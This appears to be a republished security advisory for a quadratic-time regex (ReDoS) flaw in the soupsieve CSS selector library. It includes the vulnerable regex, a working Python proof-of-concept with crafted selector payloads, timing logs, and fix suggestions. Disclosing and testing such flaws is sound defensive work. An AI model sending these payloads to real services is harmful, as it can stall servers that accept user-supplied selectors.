
Loading

Loading
We use strictly necessary cookies to run this site, and analytics cookies to understand how it's used. See our Privacy Policy for details.
A GitHub-reviewed security advisory, not necessarily under active exploitation the way our CISA KEV advisories are, but a real, disclosed vulnerability in an open-source dependency.
Affected packages
Vulnerable: < 2.9.0
Patched in 2.9.0
Details
soupsieve compiles CSS selector strings with a set of hand-written regular expressions. The shared IDENTIFIER sub-pattern (also embedded in VALUE, and therefore in attribute selectors) places two adjacent quantified groups over overlapping character classes: (?:[classA]|ESC)+(?:[classB]|ESC)*, where both classes match ordinary identifier characters such as a. When a selector contains a long identifier/value run that must ultimately fail to match (e.g. an attribute value with no closing ], or an identifier followed by an invalid character), the regex engine backtracks across all O(n) ways to split the run between the + group and the * group, giving O(n²) parse time. A single attacker-controlled selector of a few kilobytes stalls the interpreter for many seconds of CPU; tens of kilobytes reach minutes.
The selector string is the input. It reaches this code via soupsieve.compile(), soupsieve.select/iselect/match/filter, and — most commonly — BeautifulSoup's soup.select(selector) / soup.select_one(selector), which delegate to soupsieve. This is exploitable in any application that passes a user-controlled CSS selector to BeautifulSoup/soupsieve (scrapers that accept selectors, no-code extraction tools, admin/query UIs). Applications that only use hard-coded selectors are not affected.
src/soupsieve/css_parser.py# lines 122-126
IDENTIFIER = fr'''
(?:(?:-?(?:[^\x00-\x2f\x30-\x40\x5B-\x5E\x60\x7B-\x9f]|{CSS_ESCAPES})+|--)
(?:[^\x00-\x2c\x2e\x2f\x3A-\x40\x5B-\x5E\x60\x7B-\x9f]|{CSS_ESCAPES})*)
'''
# line 129 — VALUE embeds IDENTIFIER (so attribute values inherit the pattern)
VALUE = fr'''(?:"(?:\\(?:.|{NEWLINE})|[^\\"\r\n\f])*?"|'...'|{IDENTIFIER})'''
[^\x00-\x2f\x30-\x40\x5B-\x5E\x60\x7B-\x9f] excludes digits (0x30-0x39); classB [^\x00-\x2c\x2e\x2f\x3A-\x40\x5B-\x5E\x60\x7B-\x9f] allows digits. The intent is "first char not a digit, remaining chars may be digits."a = 0x61). The construct is therefore effectively (?:C)+(?:C)* over an overlapping class C — the canonical adjacent-quantifier shape that backtracks quadratically on a failing match.The quadratic only manifests when the overall match must fail. IDENTIFIER matched greedily on "a"*n succeeds in linear time (1 ms at n=32000). Anchoring it so a following element is mandatory and fails (×4 per ×2). Profiling IDENTIFIER + "$" against "a"*n + "!") reproduces the O(n²) directly: n=2000 → 44 ms, 4000 → 257 ms, 8000 → 743 ms, 16000 → 2944 ms (compile("[a=" + "a"*4000) shows only 12 re.match calls consuming 2.685 s — i.e. the cost is inside a single regex match, confirming regex backtracking (not loop overhead).
751c57b (2.9, PYTHONPATH=src): cd src && python3 ../poc/poc_redos_compile.py.soupsieve 2.8.4 (fresh uv pip install soupsieve beautifulsoup4): cd poc && ../.venv-published/bin/python poc_redos_compile.py → same O(n²) (evidence: poc/evidence_redos_compile_PUBLISHED_2.8.4.log).poc/poc_redos_compile.py)import sys, time
sys.path.insert(0, ".")
import soupsieve as sv
def compile_time(sel):
t0 = time.perf_counter()
try:
sv.compile(sel)
status = "ok"
except Exception as e:
status = type(e).__name__
return (time.perf_counter() - t0), status
print(f"soupsieve {sv.__version__}\n")
print("Payload A: '[a=' + 'a'*n (unterminated attribute value)")
for n in (1000, 2000, 4000, 8000):
dt, st = compile_time("[a=" + "a" * n)
print(f" n={n:<6} len={3+n:<7} {dt*1000:9.1f} ms [{st}]")
print("\nPayload B: 'a'*n + '!' (identifier run + invalid trailing char)")
for n in (2000, 4000, 8000, 16000):
dt, st = compile_time("a" * n + "!")
print(f" n={n:<6} len={n+1:<7} {dt*1000:9.1f} ms [{st}]")
payload = "[a=" + "a" * 12000
dt, st = compile_time(payload)
print(f"\n[+] Single call: compile('[a=' + 'a'*12000) (len={len(payload)})")
print(f"[+] wall time = {dt:.2f} s [{st}]")
End-to-end note: bs4.BeautifulSoup(html).select(payload) reaches the same compile() path, so the stall is triggerable directly through BeautifulSoup with a user-supplied selector. Verified on bs4 4.15.0 + soupsieve 2.8.4: soup.select("[a=" + "a"*6000) took ~5.0 s for one call (evidence: poc/evidence_bs4_select_PUBLISHED_2.8.4.log).
poc/evidence_redos_compile.log)soupsieve 2.9
Payload A: '[a=' + 'a'*n (unterminated attribute value)
n=1000 len=1003 214.8 ms [SelectorSyntaxError]
n=2000 len=2003 504.7 ms [SelectorSyntaxError]
n=4000 len=4003 2031.9 ms [SelectorSyntaxError]
n=8000 len=8003 8091.3 ms [SelectorSyntaxError]
Payload B: 'a'*n + '!' (identifier run + invalid trailing char)
n=2000 len=2001 79.7 ms [SelectorSyntaxError]
n=4000 len=4001 322.9 ms [SelectorSyntaxError]
n=8000 len=8001 1328.9 ms [SelectorSyntaxError]
n=16000 len=16001 5379.4 ms [SelectorSyntaxError]
[+] Single call: compile('[a=' + 'a'*12000) (len=12003)
[+] wall time = 18.28 s [SelectorSyntaxError]
poc/evidence_redos_compile_PUBLISHED_2.8.4.log)soupsieve 2.8.4
Payload A: '[a=' + 'a'*n
n=1000 len=1003 113.9 ms [SelectorSyntaxError]
n=2000 len=2003 457.2 ms [SelectorSyntaxError]
n=4000 len=4003 1816.8 ms [SelectorSyntaxError]
n=8000 len=8003 7299.0 ms [SelectorSyntaxError]
[+] Single call: compile('[a=' + 'a'*12000) wall time = 16.57 s [SelectorSyntaxError]
compile()/select() call on an attacker-controlled selector. ~8 KB → ~8 s; ~12 KB → ~17 s; scaling ~×4 per input doubling. A handful of such requests exhausts a worker/thread and degrades or stalls the service (single-threaded regex holds the GIL).IDENTIFIER: match a single leading non-digit character then the remaining class once, e.g. (?:-?(?:[classA]|ESC)(?:[classB]|ESC)*|--(?:[classB]|ESC)*), so no +/* pair spans the same characters.(?>...), *+) to forbid backtracking into the identifier run.EPSS, exploit probability
Low0.61%
estimated chance of real-world exploitation in the next 30 days, higher than 49.2% of every CVE FIRST.org scores
Refreshed 11/3/2026, via FIRST.org's EPSS model, not CVSS, this measures likelihood of exploitation, not how severe it would be.
Talk to us about this
Find out whether this dependency (or others like it) is actually reachable in your codebase.
Get help patching, or building dependency-scanning into your pipeline going forward.
A secure code review or supply chain review finds this before an advisory does.